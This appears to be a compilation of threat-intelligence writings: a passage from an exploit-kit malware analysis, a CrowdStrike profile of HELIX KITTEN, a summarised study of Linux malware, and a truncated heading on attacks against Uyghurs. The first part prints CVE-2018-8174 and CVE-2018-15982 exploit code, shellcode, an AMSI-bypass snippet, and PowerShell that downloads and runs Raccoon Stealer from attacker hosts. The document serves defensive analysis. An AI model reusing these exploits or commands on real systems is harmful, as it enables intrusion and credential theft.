window.URL = Crypto.AES.decrypt("38YEyt6HcpQna7gKhki+tJB+PuX7ydy+GgSoGJ2qdAB10zRCOLpjLIR0FYfXwrzj", FalloutKey, {iv: FalloutIV}).toString(Crypto.enc.Utf8);
```
We can decrypt the second stage URL by writing a small Python script:
```python
key = binascii.unhexlify('cb9f989b5ec9c6061912af37709fe309')
iv = binascii.unhexlify('9b41656001881cd01e85d0fa8a9b5733')
encrypted = binascii.a2b_base64('38YEyt6HcpQna7gKhki+tJB+PuX7ydy+GgSoGJ2qdAB10zRCOLpjLIR0FYfXwrzj')
decrypted = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv).decrypt(encrypted)
# Result: /2016_11_22/Enactor-oxyazo/sleepings
```
## Second Stage
The second stage consists of a new JavaScript code block being downloaded, decrypted, and executed using the eval function. As it’s not being saved to any file, it won’t be scanned by on-access engines. The decrypted second stage JS code looks like this:
```javascript
var lII111ll1I1I = window["IIIllII1Illl"]["l1llI1"]["lIll111Il"]("ArF5GSkkkIywftyyV9YsYhSRgQaE7Z596Gi3uyPh4m/h/ge8qWRd3dt0UUXkiOvJauThEg8N4iNmrOdG+wbQW/YRdbAAhSkgzAJwYtvwTiI=", lII11II, {lI1Illll: I1I11II})["IIlI1Il1"](window["IIIllII1Illl"]["IIll1llI1I"]["l1Il1llI11l"]);
```
The same communication method as in the 1st stage is used, with another Diffie-Hellman key exchange taking place, encrypted JSON sent, and encrypted data received. Two HTML blocks are decrypted, then added as new frames to the original page:
```javascript
var codeA_bin = Crypto.AES.decrypt(responseJson['codeA'], public_key_2_bin, {iv: iv});
var codeB_bin = Crypto.AES.decrypt(responseJson['codeB'], public_key_2_bin, {iv: iv});
if (codeB.length !== 0) {
var frame1 = document.createElement("iframe");
frame1.setAttribute("id", "frame1id");
document.getElementsByTagName("BODY")[0].appendChild(frame1);
var doc1 = document.getElementById("frame1id").contentWindow.document;
doc1.open();
doc1.write(codeB_bin.toString(Crypto.enc.Utf8));
doc1.close();
}
if (codeA.length !== 0) {
var frame2 = document.createElement("iframe");
frame2.setAttribute("id", "frame2id");
document.getElementsByTagName("BODY")[0].appendChild(frame2);
var doc2 = document.getElementById("frame2id").contentWindow.document;
doc2.open();
doc2.write(codeA_bin.toString(Crypto.enc.Utf8));
doc2.close();
}
```
The two HTML frames contain the VBScript exploit code and Flash exploit object instantiation code.
## VBScript Exploit
The first HTML that is decrypted and inserted as `<iframe>` to the document after the second stage contains the VBScript exploit code. Looking through it, we see a function named UAF with the following content:
```vbscript
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New IIIlIl
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New llIIl
Next
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla1
Erase lIIl
Next
Set llll=New llIIl
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla2
Erase lIIl
Next
Set IIIIl=New llIIl
End Sub
```
This code is fairly obfuscated, but we can see that it is almost identical to the VBScript code residing in the Metasploit module: CVE-2018-8174.rb by 0x09AL and another one on exploit-db.com, published by “smgorelik”. Using these similarities, we can identify the exploit as targeting the VBScript engine use-after-free vulnerability CVE-2018-8174. The Metasploit module code originates from the 0-day sample used in the APT attack described by Qihoo 360 in the April 2018 paper “New Office Attack Using Browser ‘Double Kill’ Vulnerability”. Further analysis was also published by other researchers.
After deobfuscating class and variable names, as well as numerical values, the interesting code from the function becomes:
```vbscript
For i = 0 To 6
ReDim Arr1(1)
Set Arr1(1) = New cla1
Erase Arr1
Next
```
We can see a reference to cla1 being saved in array Arr1, then the array is destroyed. Because of the vulnerability, the cla1 memory is eventually freed, even though a reference still exists in variable Arr2. This reference is then reused in the custom defined Class_Terminate destructor.
```vbscript
Class cla1
Private Sub Class_Terminate()
Set Arr2(counter) = Arr1(1)
counter = counter + 1
Arr1(1) = 1
End Sub
End Class
```
After that, arbitrary read-write is obtained and the address of vbscript.dll is leaked. The NtContinue function and CONTEXT structure are used to change the stack pointer to a new location (stack pivot). From there, using the new “prepared stack” will result in calling VirtualProtect on the shellcode and return to it:
```vbscript
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam)
Dim bytes
bytes = String(34798, Unescape("%u4141"))
bytes = bytes & EscapeAddress(ShellcodeAddrParam) ' return address = shellcode address
bytes = bytes & EscapeAddress(ShellcodeAddrParam) ' VirtualProtect address: shellcode
bytes = bytes & EscapeAddress(&H3000) ' VirtualProtect size: 0x3000 bytes
bytes = bytes & EscapeAddress(&H40) ' VirtualProtect protection: 0x40 = RWX
bytes = bytes & EscapeAddress(ShellcodeAddrParam - 8) ' VirtualProtect oldProt
bytes = bytes & String(6, Unescape("%u4242"))
bytes = bytes & PackedNtContinueAddress()
bytes = bytes & String((&H80000 - LenB(bytes)) / 2, Unescape("%u4141"))
WrapShellcodeWithNtContinueContext = bytes
End Function
```
The shellcode bytes can be seen stored into an escaped string. We can see the start of the shellcode bytes 55 8B EC as the standard function prologue:
```vbscript
Function GetShellcode()
bytes = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u0000%u5653[...]") & lIIII(IIIII(""))
bytes = bytes & String((&H80000 - LenB(bytes)) / 2, Unescape("%u4141"))
GetShellcode = bytes
End Function
```
Binary code execution is indirectly obtained by changing confused object type to 77 (0x4D), also mentioned by 360 Core Security in their exploit description. This is not a documented VBScript type, but has the property that calling the VAR::Clear method of that type will also call the destructor method stored at offset +8 of variable descriptor:
```vbscript
SetCurrentMemValueUint32 ExpandWithVirtualProtect(ShellcodeWrapped) ' [pointer+8]=shellcode
typeConfusionObject.arbitraryMemoryAccess(pointer) = 77 ' set object type to 77
typeConfusionObject.arbitraryMemoryAccess(pointer + 8) = 0 ' execute [pointer+8]
```
## Flash Exploit
The second HTML decrypted and evaluated in the second stage is the object instantiation code for the Flash exploit:
```html
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="557" height="283" id="ryPYyaMwLnx" align="middle">
<param name="movie" value="/7821/kTlV/19_07_1935/2971?dprLuf=AD7" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
</object>
```
Opening or dumping the file using JPEXS Free Flash Decompiler, we can observe 13,664 bytes of binary data in resources, along with two 16-byte blobs. We can also observe that an encryption library containing AES algorithm is used, and we suspect that the two blobs are the 128-bit key and initial vector.
We can decrypt the data using a small Python script:
```python
from Crypto.Cipher import AES
iv = open('2.bin', 'rb').read()
key = open('3.bin', 'rb').read()
data = open('1.bin', 'rb').read()
obj = AES.new(key, AES.MODE_CBC, iv)
decrypted = obj.decrypt(data)
open('4.bin', 'w+b').write(decrypted)
```
The decrypted data is another Flash file, evaluated at runtime. This is a common way to hide the actual exploitation code. The exploit code is unpacked in memory and executed, bypassing on-access scanning. The code handling the decryption is obfuscated, but the flash.display.Loader class is mentioned in the imported Flash modules. The Loader class is responsible for executing Flash content stored as data in a byte array.
Next, we are interested in confirming the target vulnerability. The tested Flash version was 31.0.0.153 so we expect to see CVE-2018-15982, so we will check the exploit code. The vulnerability was described in detail by 360 Core Security in the “Operation Poison Needles” paper on December 5, 2018, after it was abused as part of an APT attack. Indeed, we find code that resembles the described 0-day in that paper. For example, we see exploit code traversing a vector and finding corrupted objects by checking their size (24), then saving their index:
```javascript
while(_loc1_ < this.Var9) {
if(this.Var14[_loc1_].Var39 != 24 && this.Var14[_loc1_].Var39 > 524288) {
this.Var12 = _loc1_;
this.Var10 = this.Var14[_loc1_].Var22;
this.Var6 = true;
break;
}
_loc1_++;
}
```
We also see the read/write primitive on 64-bit environments, after the corruption has taken place, very similar to the published analysis. This way we can confirm it’s a case of CVE-2018-15982:
```javascript
private function Var42(param1:Class0) : uint {
var _loc2_:uint = 0;
this.Var14[this.Var12].Var22 = param1.Var98;
this.Var14[this.Var12].Var39 = param1.Var99 - 32;
_loc2_ = this.Var16[this.Var13].m_Class1.Var993;
this.Var14[this.Var12].Var22 = this.Var11.Var98;
this.Var14[this.Var12].Var39 = this.Var11.Var99;
return _loc2_;
}
```
Interestingly, the Flash exploit contains both 32-bit and 64-bit shellcodes, while the VBScript exploit was only 32-bit. While very similar to the shellcode we found on the VBScript exploit, it will download and execute a command from a different URL, on the same domain. The author likely wanted to differentiate between successful VBScript and Flash exploitations. Shellcode execution is performed differently from the VBScript exploit described earlier. Here, code execution is achieved by replacing a Flash object method’s address with the address of VirtualProtect function, and calling that with desired parameters directly from within Flash code, rather than performing a ROP attack. This method, first used by Hacking Team, is described in the CVE-2015-5119 analysis by Zscaler. Indeed, we can see in WinDBG that the VirtualProtect function is called from Flash module, and the stack pointer was unaffected. Its address remains within the limits declared by Thread Environment Block.
## Shellcode Analysis
Judging from a first look, the shellcode may have been written in C, because each function creates a new stack frame, using function prologue/epilogue. Most functions use the fastcall calling convention, which is uncommon. This makes the code harder to analyze, as the first two function parameters are passed in registers ecx and edx, not on stack. The first thing the shellcode needs is to import desired API functions. To do that, the module kernel32.dll is located, by parsing the Process Environment Block structure, then walking the loaded module linked list. First, the loaded module is the application executable, e.g., iexplore.exe. Going from this list item to its forward link, the shellcode will find ntdll.dll. Going forward link again will find kernel32.dll:
```assembly
get_kernel32_base proc near
mov eax, large fs:30h ; PEB
mov eax, [eax+0Ch] ; ntdll!PebLdr
mov eax, [eax+14h] ; Ldr.InMemoryOrderModuleList
mov eax, [eax] ; LIST_ENTRY.flink
mov eax, [eax] ; LIST_ENTRY.flink
mov eax, [eax+10h] ; LIST_ENTRY.DllBase
retn
get_kernel32_base endp
```
Having located the desired module, the shellcode enumerates its Export Address Table. Avoiding comparing strings (which would make reversing easier), the shellcode makes hashes on function names instead, then compares those:
```assembly
mov edi, ecx ; ecx = imageBase
mov [ebp+arg0_hash], edx ; edx = nameHash
xor esi, esi ; index
mov eax, [edi+3Ch] ; AddressOfNewExeHeader
mov ebx, [eax+edi+78h] ; IMAGE_DATA_DIRECTORY Export
add ebx, edi
mov eax, [ebx+1Ch] ; AddressOfFunctions
mov ecx, [ebx+20h] ; AddressOfNames
add eax, edi
mov [ebp+var_AddrOfFuncs], eax
add ecx, edi
mov eax, [ebx+24h] ; AddressOfNameOrdinals
add eax, edi
mov [ebp+var_AddrOfNames], ecx
mov [ebp+var_AddrOfOrdinals], eax
cmp [ebx+18h], esi ; loop from 0 to NumberOfNames
jbe short loc_1000271
```
Later we can identify each imported function by its hash:
```assembly
call get_kernel32_base ; eax = kernel32 base
mov edi, eax
mov edx, 191C0443h ; kernel32!CloseHandle
mov ecx, edi
call get_function_by_hash
mov esi, [esi]
mov edx, 28B90575h ; kernel32!CreateProcessA
mov ecx, edi
mov [esi+14h], eax
call get_function_by_hash
mov esi, [ebp+ptr_funcs_kernel32]
mov edx, 73320951h ; kernel32!CreateToolhelp32Snapshot
mov ecx, [esi]
```
Using the name hash method, the following functions are imported at specified byte index in the address table:
- kernel32.dll
- 0 = GetModuleHandleA
- 4 = LoadLibraryA
- 8 = CreateToolhelp32Snapshot
- C = Process32First
- 10 = Process32Next
- 14 = CloseHandle
- 18 = VirtualAlloc
- 1C = CreateProcessA
- 20 = ExitProcess
- 24 = ExitThread
- ntdll.dll
- 0 = memset
- wininet.dll
- 0 = InternetOpenA
- 4 = InternetConnectA
- 8 = InternetCloseHandle
- C = HttpOpenRequestA
- 10 = HttpSendRequestA
- 14 = HttpQueryInfoA
- 18 = InternetReadFile
All strings are stored encrypted in the shellcode and decrypted before use. The encryption algorithm is RC4, recognized by the key scheduling step, in the decompiled shellcode:
```assembly
for(v3 = 0; v3 < 0x100; v3++) {
KS_state_array[v3] = v3;
}
LOBYTE(v4) = 0;
for(v5 = 0; v5 < 0x100; v5++) {
v6 = KS_state_array[v5];
v4 = (BYTE)(v4 + *(BYTE*)((v5 & 7) + v2) + v6);
KS_state_array[v5] = KS_state_array[v4];
KS_state_array[v4] = v6;
}
```
Next, the shellcode checks if it is running in a virtual machine. This is done using the CPUID instruction, leaf 1, where the reserved bit 31 of ecx is set when a hypervisor is present:
```assembly
xor eax, eax
mov edi, ecx ; edi = destination
inc eax ; eax = leaf
xor ecx, ecx
push ebx
cpuid ; leaf=1, get processor features in ecx,edx
mov esi, ebx
pop ebx
lea ebx, [ebp+var_10]
mov [ebx], eax
mov eax, [ebp+var_10+8] ; get ecx
shr eax, 1Fh ; ecx bit 31: hypervisor presence
mov [edi], eax
```
The shellcode also checks for the presence of debugging tools. This is done by enumerating processes, then hashing their process names, and comparing them against a few predefined values:
```assembly
call hash_string ; hash current process name
pop esi
cmp eax, 3F5406DEh ; hash of “processhacker.exe”
jz short loc_10002FF ; compare hashes
```
Using this method, the presence of the following processes is determined:
- processhacker.exe
- wireshark.exe
- ida64.exe
- windbg.exe
- fiddler.exe
After checking the execution environment, the shellcode decrypts the target host name and path for downloading the malware executable. The decryption uses the same hardcoded RC4 key, on a buffer stored at the end of the shellcode. The first 0x40 encrypted bytes contain the host name, then the next 0x80 contain the relative path:
```assembly
call get_ptr_to_ecnrypted_data
mov esi, eax ; esi = encrypted_data
...
lea ecx, [esp+0E0h+rc4_key]
push 40h
push esi
call rc4_decrypt ; decrypt “yourfirmware.biz”
add esi, 40h
lea ecx, [esp+0E8h+rc4_key]
push 80h
push esi
call rc4_decrypt ; decrypt “/4960-Englut-mythus/…”
```
Having the target host, the shellcode connects to it securely, using a custom user-agent string (eW71txlgM5lhDn98), decrypted using the same RC4 key:
```assembly
mov [ebp+var_user_agent_string], 0C77A39CEh
mov [ebp+var_3C], 0F7EFEB9Eh
push 8
push eax
call rc4_decrypt ; decrypt
push eax ; var_user_agent_string
call [ebp+InternetOpenA] ; InternetOpenA
push 443 ; https, port 443
push [ebp+var_host]
push edi
call [ebp+InternetConnectA] ; InternetConnectA
```
After connection, the shellcode performs a POST request, sending over a 4-byte value, which tells the server if a virtual machine or debugging tools were detected. If these tools were present, the server will provide an empty reply. If they were not present, the server response is the encrypted payload:
```assembly
cmp [ebp+arg18_virtualized_flag], 0
jz short loc_10004FE
cmp [ebp+arg1C_debugger_flag], 0
jz short loc_10004F5
mov [ebp+post_data], 0CB4835EAh ; no debugging, no vmware
jmp short loc_1000512
mov [ebp+post_data], 0CB4826FBh ; debugging detected
jmp short loc_1000512
cmp [ebp+arg1C_debugger_flag], 0
mov [ebp+post_data], 0CB4834FEh ; vmware + debugging detected
mov [ebp+post_data], 0CB483BFEh ; vmware detected
```
If POST data was “correct” and debugging tools were not running, shellcode downloads the encrypted command line:
```assembly
lea eax, [ebp+var_34]
push eax
mov eax, [ebp+arg4_buffer]
push [ebp+content_length]
push dword ptr [eax]
push ebx
call [ebp+InternetReadFile] ; InternetReadFile
...
mov eax, [ebp+arg4_buffer]
push [ebp+content_length]
mov ecx, [ebp+arg0_rc4_key]
push dword ptr [eax]
call rc4_decrypt
```
After decrypting the command line, it is executed using the CreateProcessA function:
```assembly
push eax
push ebx
push ebx
push 8000000h ; CREATE_NO_WINDOW
push ebx
push ebx
push ebx
push [esp+0F8h+var_buffer] ; decrypted command line
push ebx ; application name = NULL
call [esp+100h+CreateProcessA] ; CreateProcessA
```
The command line is an invocation of hidden, non-interactive PowerShell interpreter, along with encoded script provided as a parameter, for a total of 5,809 characters:
```plaintext
powershell.exe -w hidden -noni -enc dAByAHkAewAkAEkAbABsAEkASQAxAEkASQAxAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5ADsA[...]
```
## PowerShell Code
After Base64 decoding the parameter from the command line, we get the PowerShell code that gets executed. Its first action is to disable the Windows Antimalware Scan Interface (AMSI) to evade malicious script detection. This is done by setting the System.Management.Automation.AmsiUtils object’s amsiInitFailed property to true. Strings are Base64 encoded for obfuscation.
```powershell
# disable AMSI
$IllII1II1 = [Ref].Assembly;
$IIIl11IIl1ll = $IllII1II1.GetType([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=')));
$l1IIllll = $IIIl11IIl1ll.GetField([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('YW1zaUluaXRGYWlsZWQ=')), 'NonPublic,Static'); # amsiInitFailed
$l1IIllll.SetValue($null, $true);
```
Next, it obtains direct access to the CreateProcess function, by adding a .NET class that uses DllImport on the kernel32.dll module:
```powershell
# import CreateProcess
Add-Type -TypeDefinition "using System; using System.Diagnostics; [...]
public static class lI1IllI {
[DllImport(""kernel32.dll"",SetLastError=true)]
public static extern bool CreateProcess(string llIll1l1,string IIIll11,IntPtr lll1l,IntPtr lIII1l1I,bool l11Il1ll1I1,
uint llI11l1llIll,IntPtr III1I1I11lII, string Illl1,ref ll11lI IIIlIlll111,out llIIIll11Il l111l);
}";
```
The malware executable is downloaded in the local AppData folder with a random name and .tmp extension, then executed using the CreateProcess function:
```powershell
# setup dropped file name
$Illll1lll111="$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";
# download malware
$llIlIl1l1l1='http://yourfirmware.biz/4960-Englut-mythus/Sixfold/2ZX2/12042?AX2Q5=Dreamiest&RAyvt=Bowable_5636&nCAa=13104';
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JGNsaT0oTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KTskY2xpL[...]'))| iex;
```
## Raccoon Stealer
The final malware payload is Raccoon Stealer, downloaded and launched by the PowerShell code. The executable we are analyzing has the MD5 hash of d490bd6184419561350d531c6c771a50 and has 1,383,936 bytes. Some HTTP requests are recognized by EKFiddle tool as RaccoonStealer C2 calls. It is indeed a password and crypto stealer. This particular sample is detected by Bitdefender as Trojan.Agent.EDOT.
First, it sends a “log” request to the nginx application at http://34.77.205.80/gate/log.php, with information including a bot_id based on computer configuration, and receives a JSON containing details about dependencies locations and exfiltration URL:
```json
{
"url":"http://34.77.205.80/file_handler/file.php?hash=71f03823790054ac09e59edde52e5bdf2955aa82&js=06d7c4ec30ad085c39fd5e491691497dae449425&callback=hxxp://34.77.205.80/gate",
"attachment_url":"http://34.77.205.80/gate/sqlite3.dll",
"libraries":"http://34.77.205.80/gate/libs.zip",
"ip":"[redacted]",
"config":{
"masks":null,
"loader_urls":null
},
"is_screen_enabled":0,
"is_history_enabled":0
}
```
Next, it downloads what looks like FoxMail components from /gate/libs.zip, but we did not see any email being sent. It also downloads the SQLite library, for parsing browser database files, from /gate/sqlite3.dll. Login credentials, auto-fill information, and cookies are collected from the following browsers:
- Google Chrome, Google Chrome Canary, Vivaldi, Xpom, Comodo Dragon, Amigo, Orbitum, Opera, Bromium, Nichrome, Sputnik, Kometa, uCoz Uran, RockMelt, 7Star, Epic Privacy Browser, Elements Browser, CocCoc, TorBro, Shuhba, CentBrowser, Torch, Chedot, Superbird
- Mozilla Firefox, Waterfox, SeaMonkey, Pale Moon
Credentials are also collected for the following crypto wallets:
- Electrum
- Ethereum
- Exodus
- Jaxx
- Monero
Stolen data, along with machine and OS information, is packed into a Log.zip file and exfiltrated to the address specified in the JSON, at 34.77.205.80/file_handler/[...]. A request is also made to download a file from Google Drive at hxxps://drive.google.com/uc?export=download&id=1l34XG2K[...] but at the time of analysis, the file was empty. When finished, the malware attempts to delete itself using the ping utility as a sleep tool:
```plaintext
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\...\AppData\LocalLow\pofke3lb.tmp"
```
## Indicators of Compromise
We have seen the following IPs used for the malicious ad server:
- 91.90.192.214
- 91.90.195.48
- 103.29.71.177
- 139.162.90.20
- 139.162.100.103
- 172.105.14.31
- 172.105.36.165
We have seen the following domains being used for the main exploit kit server:
- gorgantuaisastar.com
- gonzalesnotdie.com
- comicsansfont.com
- yourfirmware.biz
Flash exploit samples associated with the exploit kit:
- c9d17e11189931677cd7ab055079fc45 (35,140 bytes)
- 4a59222d224c8dbfae1283dde73f52db (35,127 bytes)
- a58584b73a08342a80e5ca8d1ac3dc2a (13,664 bytes)
RaccoonStealer malware samples delivered by the exploit kit:
- 97d329f9a8ba40cc6b6dd1bb761cbe5c (1,568,768 bytes)
- d490bd6184419561350d531c6c771a50 (1,383,936 bytes) |
# Helix Kitten | Threat Actor Profile
**Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN**
November 27, 2018
Adam Meyers Research & Threat Intel
HELIX KITTEN is likely an Iranian-based adversary group, active since at least late 2015, targeting organizations in the aerospace, energy, financial, government, hospitality, and telecommunications business verticals. This adversary group is most commonly associated with a custom PowerShell implant identified as Helminth. The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script.
Additionally, HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel. In some instances, spear-phishing messages have been sent from compromised accounts of organizations related to the target to further enhance credibility. Information technology (IT) and corporate infrastructure is a common theme of HELIX KITTEN spear-phishing messages.
In addition to Helminth, the ISMDoor implant is likely used by the Iran-based adversary to attack targets, particularly those in the Middle East region. There are several infrastructure overlaps between ISMDoor and ISMAgent, a tool used exclusively by HELIX KITTEN. The implementation of the DNS transport layer protocol is very similar in both ISMDoor and ISMAgent. ISMDoor is able to exfiltrate data, take screenshots, and execute arbitrary commands on the victim’s machine. Command and control (C2) is performed through a covert channel based on DNS AAAA records. The actor uses dedicated domains to host their C2 infrastructure, as the C2 protocol requires full control over the authoritative DNS server to work.
During the summer of 2018, HELIX KITTEN actors were observed targeting entities in the Middle East — of note, targets appeared to be located in Bahrain and Kuwait. These incidents involved spear-phishing attacks, which characteristic of HELIX KITTEN, included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure.
In early November 2018, CrowdStrike® Falcon OverWatch™ observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical. While the adversary leveraged known tooling as well as tactics, techniques, and procedures (TTPs), this activity represented a shift in targeting that could allow HELIX KITTEN to support multiple objectives.
HELIX KITTEN’s operations against organizations in the telecommunications industry could allow this adversary to conduct bulk data collection of large amounts of communications data that could be later leveraged in additional intelligence activities. Targeting telecommunications can also allow the adversary to reroute communications to adversary-controlled infrastructure for data collection or malware delivery. The ultimate objective of this activity remains unclear at the time of this writing, but the addition of the telecommunications sector to HELIX KITTEN’s target scope is a notable development.
OilRig, Helminth, Clayslide, APT34, and IRN2 are community or industry names associated with this actor. |
# Understanding Linux Malware
**Emanuele Cozzi**
**Mariano Graziano**
**Yanick Fratantonio**
**Davide Balzarotti**
**Eurecom**
**Cisco Systems, Inc.**
**Eurecom**
**Eurecom**
## Abstract
For the past two decades, the security community has been fighting malicious programs for Windows-based operating systems. However, the recent surge in adoption of embedded devices and the IoT revolution are rapidly changing the malware landscape. Embedded devices are profoundly different than traditional personal computers. In fact, while personal computers run predominantly on x86-flavored architectures, embedded systems rely on a variety of different architectures. In turn, this aspect causes a large number of these systems to run some variants of the Linux operating system, pushing malicious actors to give birth to “Linux malware.”
To the best of our knowledge, there is currently no comprehensive study attempting to characterize, analyze, and understand Linux malware. The majority of resources on the topic are available as sparse reports often published as blog posts, while the few systematic studies focused on the analysis of specific families of malware (e.g., the Mirai botnet) mainly by looking at their network-level behavior, thus leaving the main challenges of analyzing Linux malware unaddressed.
This work constitutes the first step towards filling this gap. After a systematic exploration of the challenges involved in the process, we present the design and implementation details of the first malware analysis pipeline specifically tailored for Linux malware. We then present the results of the first large-scale measurement study conducted on 10,548 malware samples, documenting detailed statistics and insights that can help directing future work in the area.
## I. INTRODUCTION
The security community has been fighting malware for over two decades. However, despite the significant effort dedicated to this problem by both the academic and industry communities, the automated analysis and detection of malicious software remains an open problem. Historically, the vast majority of malware was designed to target almost exclusively personal computers running Microsoft’s Windows operating system, mainly because of its very large market share (currently estimated at 83% for desktop computers). Therefore, the security community has also been focusing its effort on Windows-based malware—resulting in several hundreds of papers and a vast knowledge base on how to detect, analyze, and defend from different classes of malicious programs.
However, the recent exponential growth in popularity of embedded devices is causing the malware landscape to rapidly change. Embedded devices have been in use in industrial environments for many years, but it is only recently that they started to permeate every aspect of our society, mainly driven by the so-called “Internet of Things” (IoT) revolution. Companies producing these devices are in a constant race to increase their market share, thus focusing mainly on a short time-to-market combined with innovative features to attract new users. Too often, this results in postponing (if not simply ignoring) any security and privacy concerns.
Not surprisingly, the astonishing number of poorly secured devices that are now connected to the Internet has recently attracted the attention of malware authors. However, with the exception of a few anecdotal proof-of-concept examples, the antivirus industry had largely ignored malicious Linux programs, and it is only by the end of 2014 that VirusTotal recognized this as a growing concern for the security community. Academia was even slower to react to this change, and to date it has not given much attention to this emerging threat. In the meantime, available resources are often limited to blog posts that present the often manually performed analysis of specific samples. One of the few systematic works in this area is a recent study by Antonakakis et al. that focuses on the network behavior of a specific malware family (the Mirai botnet). However, no comprehensive study has been conducted to characterize, analyze, and understand the characteristics of Linux-based malware.
This work aims at filling this gap by presenting the first large-scale empirical study conducted to characterize and understand Linux-based malware (for both embedded devices and traditional personal computers). We first systematically enumerate the challenges that arise when collecting and analyzing Linux samples. For example, we show how supporting malware analysis for “common” architectures such as x86 and ARM is often insufficient, and we explore several challenges including the analysis of statically linked binaries, the preparation of a suitable execution environment, and the differential analysis of samples run with different privileges.
## II. CHALLENGES
The analysis of generic (and potentially malicious) Linux programs requires tackling a number of specific challenges. This section presents a systematic exploration of the main problems we encountered in our study.
### A. Target Diversity
The first problem relates to the broad diversity of the possible target environments. The general belief is that the main challenge is about supporting different architectures (e.g., ARM or MIPS), but this is in fact only one aspect of a much more complex problem. Malware analysis systems for Windows, MacOS, or Android executables can rely on detailed information about the underlying execution environment. Linux-based malware can instead target a very diverse set of targets, such as Internet routers, printers, surveillance cameras, smart TVs, or medical devices. This greatly complicates their analysis.
### B. Static Linking
When a binary is statically linked, all its library dependencies are included in the resulting binary as part of the compilation process. Static linking can offer several advantages, including making the resulting binary more portable and making it harder to reverse engineer. However, static linking introduces another, much less obvious challenge for malware analysis. Since these binaries include all their libraries, the resulting application does not rely on any external wrapper to execute system calls.
### C. Analysis Environment
An ideal analysis sandbox should emulate as closely as possible the system in which the sample under analysis was supposed to run. So far we have discussed challenges related to setting up an environment with the correct architecture, libraries, and operating system, but these only cover part of the environment setup. Another important aspect is the privileges the program should run with. Typically, malware analysis sandboxes execute samples as a normal, unprivileged user. Administration privileges would give the malware the ability to tamper with the sandbox itself and would make the instrumentation and observation of the program behavior much more complex.
### D. Lack of Previous Studies
To the best of our knowledge, this is the first work that attempts to perform a comprehensive analysis of the Linux malware landscape. This mere fact introduces several additional challenges. First, it is not clear how to design and implement an analysis pipeline specifically tailored for Linux malware. In fact, analysis tools are tailored to the characteristics of the existing malware samples. Unfortunately, the lack of information on how Linux-based malware works complicated the design of our pipeline.
## III. ANALYSIS INFRASTRUCTURE
The task of designing and implementing an analysis infrastructure for Linux-based malware was complicated by the fact that when we started our experiments we still knew very little about how Linux malware worked and of which techniques and components we would have needed to study its behavior.
Our final analysis pipeline included a collection of existing state-of-the-art solutions as well as completely new tools we explicitly designed for this paper. Due to space limitations, we cannot present each component in detail. Instead, we briefly summarize some of the techniques we used in our experiments, organized in three different groups: File and Metadata Analysis, Static Analysis, and Dynamic Analysis components.
### A. Data Collection
To retrieve data for our study we used the VirusTotal intelligence API to fetch the reports of every ELF file submitted between November 2016 and November 2017. Based on the content of the reports, we downloaded 200 candidate samples per day. Our selection criteria were designed to minimize non-Linux binaries and to select at least one sample for each family observed during the day.
### B. File & Metadata Analysis
The first phase of our analysis focuses on the file itself. Certain fields contained in the ELF file format are required at runtime by the operating system, and therefore need to provide reliable information about the architecture on which the application is supposed to run and the type of code contained in the file.
### C. Dynamic Analysis
We performed two types of dynamic analysis in our study: a five-minute execution inside an instrumented emulator, and a custom packing analysis and unpacking attempt. For the emulation, we implemented two types of dynamic sandboxes: a KVM-based virtualized sandbox with hardware support for x86 and x86-64 architectures, and a set of QEMU-based emulated sandboxes for ARM 32-bit little-endian, MIPS 32-bit big-endian, and PowerPC 32-bit.
## IV. DATASET
Our final dataset, after the filtering stage, consisted of 10,548 ELF executables, covering more than ten different architectures.
### A. Malware Families
The AVClass tool was able to associate a family to 83% of the samples in our dataset. As expected, botnets, often dedicated to run DDoS attacks, dominate the Linux-based malware landscape—accounting for 69% of our samples spread over more than 25 families.
## V. UNDER THE HOOD
In this section we present a detailed overview of a number of interesting behaviors we have identified in Linux malware and, when possible, we provide detailed statistics about the prevalence of each of these aspects.
### A. ELF Header Manipulation
Malware developers often tamper with the ELF headers to fool the analyst or crash common analysis tools.
### B. Persistence
Persistence involves a configuration change of the infected system such that the malicious executable will be able to run regardless of possible reboot and power-off operations performed on the underlying machine.
### C. Deception
Stealthy malware may try to hide their nature by assuming names that look genuine and innocuous at a first glance, with the objective of tricking the user to open an apparently benign program.
### D. Required Privileges
Our tests show that the distinction between administrator (root) and normal user is very important for Linux-based malware.
### E. Packing & Polymorphism
Runtime packing is one of the most common and sophisticated obfuscation techniques adopted by malware writers.
### F. Process Interaction
This section covers the techniques used by Linux malware to interact with child processes or other binaries already installed or running in the system.
### G. Information Gathering
Information gathering is an important step of malware execution as the collected information can be used to detect the presence of a sandbox, or to control the execution of the sample.
### H. Evasion
The purpose of evasion is to hide the malicious behavior and remain undetected as long as possible.
## VI. CONCLUSION
This paper presents the first comprehensive study of Linux malware, detailing the challenges, techniques, and behaviors observed in a large dataset of malicious samples. The insights gained from this research can help inform future efforts in malware detection and analysis. |
# Uyghurs, a Turkic Ethnic Minority in China, Targeted via Fake Foundations
## Introduction
